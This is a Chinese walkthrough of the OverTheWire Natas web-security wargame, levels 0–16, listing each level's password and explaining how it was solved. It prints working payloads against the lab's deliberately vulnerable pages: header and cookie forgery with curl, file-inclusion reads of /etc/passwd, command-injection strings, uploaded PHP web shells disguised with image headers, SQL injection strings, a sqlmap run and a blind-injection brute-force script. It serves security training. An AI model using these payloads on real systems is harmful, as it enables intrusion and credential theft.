0-10
0
访问:http://natas0.natas.labs.overthewire.org/
用户和密码都是natas0
登陆后通过查看页面源码我们可以看到下一级密码为:
gtVrDuiDfck831PqWsLEZy5gyDz1clto
1
访问:http://natas1.natas.labs.overthewire.org/
登进去页面显示:
You can find the password for the next level on this page, but rightclicking has been blocked!
脑海中不禁想起了那两幅图,一副电脑提示你无权关掉这台计算机,一副拔了它的充电插头,哈哈回归正题,像这种情况,暗示着你源码里面还有密码,但是你无法右键查看,我是用的chrome浏览器,直接ctrl+u,快捷键查看源码,类似这种题之前在xctf做到过,果然在源码中得到密码如下:
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
2
再次查看源码,发现一个一个img标签,点击进去,看到url为http://natas2.natas.labs.overthewire.org/files/pixel.png
,几乎是本能的去掉pixel.png继续访问http://natas2.natas.labs.overthewire.org/files
,可以看到有一个users.txt,这是因为权限没有设置好导致暴露了敏感信息,得到下级密码:
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
3
页面显示There is nothing on this page
无奈先再次查看源码,发现提示如下:
<!-- No more information leaks!! Not even Google will find it this time... -->
Google不会找到它,那么robots.txt文件里面肯定有东西
关于robot协议,就是一般网站不希望搜索引擎搜到它们的哪些目录就会写到http://ip/robots.txt文件中,如以下形式
User-agent: *
Disallow: /s3cr3t/
不过这么做倒是有些此地无银三百两的感觉,
访问http://natas3.natas.labs.overthewire.org/s3cr3t/
找到users.txt,得到下级密码为:
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
4
得到以下提示信息:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
这里就涉及到referer,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,可用于计算网页链接的访问量。
所以我们伪造referer即可,这里我直接用的chrome插件ModHeader
(谷歌插件中心)进行修改:
当然也还有其他方法,比如通关curl命令(菜鸟教程,curl命令详解):
curl -isu natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ natas4.natas.labs.overthewire.org --referer "http://natas5.natas.labs.overthewire.org/"
这里简单说一下涉及到的-isu参数:
i | 输出时包括protocol信息 |
---|---|
s | 静默模式。该参数不使用也可以,类似于linux里面的-v命令,显示命令执行过程的一些详细信息 |
u | 设置服务器的用户和密码 |
得到下级密码:
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
5
登陆进去,页面提示如下:
Access disallowed. You are not logged in
提示我们没有登陆,那么首先想到的就是cookie了,那么cookie是做什么的呢,打个比方,就像小区的大门,需要该小区的门禁卡,你才能进入小区一样,你登陆进服务之后,会生成一个cookie,这个cookie保存在你的客户端,下次你登录只需要亮出你的cookie即可,这里顺便一提,如果我的“门禁卡”掉了,cookie被别人窃取,那该怎么办,岂不是很不安全,所以又诞生了token验证,有门禁卡没用,你还得说出你们根据某个规则生成的约定好的暗号,不然你还是进不去,这个暗号就是token了,而且token不是一成不变的,这个就要看服务器端给出的token生成的规则了。
这里我们可以通过curl获取cookie:
curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5.natas.labs.overthewire.org | grep -i cookie
注:grep 查找命令,-i忽略大小写
得到Set-Cookie: loggedin=0
这里直觉会让我们把loggedin的值改为1,一个表示不在登陆状态,一个表示在登陆状态,同样的可以使用curl命令修改(当然也可以用modheader
插件修改,或者使用burpsuite
抓包修改):
curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5.natas.labs.overthewire.org --cookie "loggedin=1"
得到下级密码:
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
6
比较贴心,还可以看源码,发现有如下脚本:
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
可以看到includes/secret.inc
包含了这么一个文件,通过用户输入的secret与之进行对比,判断用户是否输入正确,直接访问:
http://natas6.natas.labs.overthewire.org/includes/secret.inc
得到secret为FOEIUWGHFEEUHOFUOIU
再提交secret得到下级密码:
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
7
登陆进去发现有Home和About两个选项,点击Home后发现url变成了:http://natas7.natas.labs.overthewire.org/index.php?page=home
,直觉告诉我们这是一个文件包含,我们将后面的page参数赋值一些其他的值如/,\,或者不赋值,先观察是否有报错,果然访问:http://natas7.natas.labs.overthewire.org/index.php?page=./
会有如下报错:
Warning: include(/): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21 Warning: include(): Failed opening '/' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
我们可以看到报错里面有提到include这个函数,这里就要提到一个词叫文件包含:
文件包含是开发语言自带的一个功能,程序员为了方便,或者是设计需求需要,写了一些文件包含进去,当文件包含的代码文件被写成了一个变量,且这个变量可以由前端传进来,则可能引发文件包含漏洞,分为本地包含和远程包含,可被攻击者利用搜集敏感信息
如此处,我们知道其主机是linux,那么一般都有/etc/passwd这个与用户信息相关的文件,我们访问:http://natas7.natas.labs.overthewire.org/index.php?page=/etc/passwd
果然看到了所有的用户信息(但是/etc下存放了用户密码加密后的shadow文件无法读取)。
再次查看源码,发现提示:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
那直接访问:
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
即可得到下级密码:
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
8
又是很贴心的有查看源码的选项,直接来看核心代码:
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
有点php基础便很容易看懂,变量encodedSecret的值为3d3d516343746d4d6d6c315669563362,然后是加密函数encodeSecret()(为了区分前面的变量encodedSecret,此处将该函数加个括号,变量是变量,函数是函数,不要混淆了,概念不一样,虽然它们同名),其参数是secret,后面一段是判断,由前端用户输入的secret值通过post提交,再经过encodeSecret()加密,判断是否为变量encodedSecret的值,也就是3d3d516343746d4d6d6c315669563362,那么我们只需要将其解密即可,加密函数怎么一步步加密的,我们就怎么一步步解密,就像剥洋葱,一层一层的剥开解掉,然后得到secret,那么依次按照bin2hex,strrev,base64进行解密,bin2hex是将字符串转为16进制,strrev是字符串反转(string reverse的缩写)
- base64这里简单说一下:
在二进制中,ASCII码是八位,来表示传统字符(如a-z,A-Z,还有一些符号等),base64是将二进制重新划分,6位一组,表示a-z和A-Z,刚好64字符,如果位数不够就添0,全0就用=表示,如下图:
通过菜鸟php在线运行工具运行如下代码:https://c.runoob.com/compile/1
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
得到oubWYf2kBq,提交后得到下级密码:
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
9
再次查看源码,看到以下关键代码:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
passthru()函数和exec()函数类似,可以执行系统命令,如果没有进行限制滥用该函数,很可能会造成RCE(远程命令执行漏洞)。
利用 ;分号截断 grep命令,或者利用&&或||(&&前面命令执行成功,则执行下一条命令,||前面命令执行失败,则执行下一条命令),输入;cat /etc/natas_webpass/natas10;
或&cat /etc/natas_webpass/natas10;
都可以
得到下级密码:
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
[0-9] /etc/natas_webpass/natas10
10
查看源码发现过滤了;|&
那么我们可以利用grep本身就是查找命令,可以利用正则表达式(关于其语法,可参考菜鸟教程)对natas11的密码文件进行查找,
[0-9] /etc/natas_webpass/natas11
得到下级密码:
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
11-20
11
仍然可以观察源码,这里涉及到base64加密和异或运算
来看源码中关键的一部分:
前面给出的defaultdata,showpassword默认值为no:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
然而进行判定时,要showpassword才能显示natas12的密码:
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
cookie是经过base64_encode(xor_encrypt(json_encode()))加密的:
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
首先我们先获取其cookie:
curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org|grep -i cookie
然后需要对这个加密后的cookie进行解密,获得最初的key值,然后通过key值将password=yes再计算一边cookie,再修改cookie即可获得下级密码
- 对cookie进行解密
分两步,1是先进行base64解密,2是异或解密,而异或的逆操作就是异或运算,所以再进行一次异或运算即可(有点类似于rot13)
脚本如下:
<?php
$orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$out = '';
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
echo xor_encrypt($orig_cookie);
?>
菜鸟php在线运行工具:https://c.runoob.com/compile/1
得出key为qw8J
根据源码中的函数,我们生成新的cookie,php脚本如下:
<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$out = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
function loadData($def) {
$mydata = $def;
$tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
return $mydata;
}
echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
?>
得到新cookie:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
依然可以 通过curl修改cookie:
curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
得到下级密码:
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
12
可以上传文件,这里第一时间想到图片马,直接上马,burpsuite还修改后缀,发现不行,参数报错没有定义,可能做了很严格的限制。
那么思路转变,上传一个php文件,让该php文件直接获取/etc/natas_webpass/natas13,然后访问该页面即可
写一个natas12.php:
<?
passthru('cat /etc/natas_webpass/natas13');
?>
当然你也可以将passthru函数换为system函数,效果也是一样的:
<?
system('cat /etc/natas_webpass/natas13');
?>
可通过curl命令上传文件到服务器(-F,模拟http表单提交数据,-F后面接@表示要上传的文件)
curl -isu natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 -F filename=randomFileName.php -F uploadedfile=@natas12.php http://natas12.natas.labs.overthewire.org
可以看到返回上传文件所在路径及文件名,访问得到下级密码:
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
13
页面提示我们只能上传图片文件,而且最大为1kb
可以看到源码中有一个exif_imagetype函数,这个仅仅只是对文件头进行校验,也就是我们只需要将文件头伪装为图片即可,如文件头为0xffd8ffe0(关于图片文件头标识可参考:https://blog.csdn.net/LiuBuZhuDeFanHua/article/details/82949144):
echo `printf "\xff\xd8\xff\xaa"``cat ./natas12.php` >natas13.php
注:echo命令可以用于创建新文件,``表示将里面的内容当作命令执行,\x表示转义字符,表示后面的字符是16进制数,用echo命令将该图片文件头标识与之前的natas12.php的内容连接起来,但是我们还要进natas13.php改一下改为获取natas14的密码
也可以直接将上一关我们创建的natas12.php,进行修改,直接添加GIF89a的文件头,如下:
GIF89a
<?php
system('cat /etc/natas_webpass/natas14');
?>
上传natas13.php:
curl -isu natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=randomFileName.php -F uploadedfile=@natas13.php http://natas13.natas.labs.overthewire.org
通过返回的上传路径进行访问,获得下级密码:
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
14
进去一个古老的登陆界面,一看就是有sql注入的那种,如果你是纯小白,不知道什么是sql注入,或者对sql注入一知半解,那么建议观看此篇博文,讲解的很详细,从代码和原理层面详细分析了sql注入:https://www.cnblogs.com/sillage/p/13561868.html
直接先来一个万能登陆密码
由于不知道是什么闭合,我们百度了一下,发现此题是"闭合,
用户名输入" or 1=1#
或者直接在密码出输入" or "1"="1
(这关姿势多),点击登陆直接将此关拿下
也可以通过curl命令(不管怎样,原理都是一样的):
curl -isu natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 http://natas14.natas.labs.overthewire.org?debug=1 -F "username=\"or 1=1 #" -F "password=1"
下级密码为:
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
15
输入 '
和"
发现前者正常,后者报错(虽然屏蔽了详细的报错信息),可以初步判断闭合方式应为"(不考虑有括号的情况下),可以考虑盲注
,虽然平常练习的时候,多推荐手工注入,但是利用工具可以让我们大大提高效率。
此处我们直接sqlmap跑(这里我是在centos7里面跑的,关于sqlmap各个参数可参考:https://www.cnblogs.com/Tempt/p/11194078.html):
python3 sqlmap.py -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
简单说一下参数:–dbms指定数据库类型,–data,指定post参数,–technique指定注入类型,B表示blind盲注,–dump,保存获得的数据,保存路径在运行完后会有提示。
得到密码:
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
16
查看源码,有正则过滤;|&`’"
都没法使用,但在PHP中,$()可以在引号中使用,先随便输入一个a进行搜索,发现url变为:
http://natas16.natas.labs.overthewire.org/?needle=a&submit=Search
可以看到是get方式提交,参数是needle,那么以此构造脚本:
# coding=utf-8
import requests
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
i=0
while i < len(chr):
payload = {'needle':'$(grep ^'+flag+chr[i]+' /etc/natas_webpass/natas17)wrong','submit':'Search'}
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
flag += chr[i]
print(flag)
i=0
continue
i+=1
注:该脚本直接copy自https://blog.csdn.net/weixin_42728957/article/details/105582445
,本人没系统学过python,但是还是学过c,c艹,java,这段代码还是比较容易看懂,除了脚本编写,这里需要了解的是grep命令配合正则表达式的使用,后续可能会对本关内容进行补充。
下级密码:
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
17
待续。。等待更新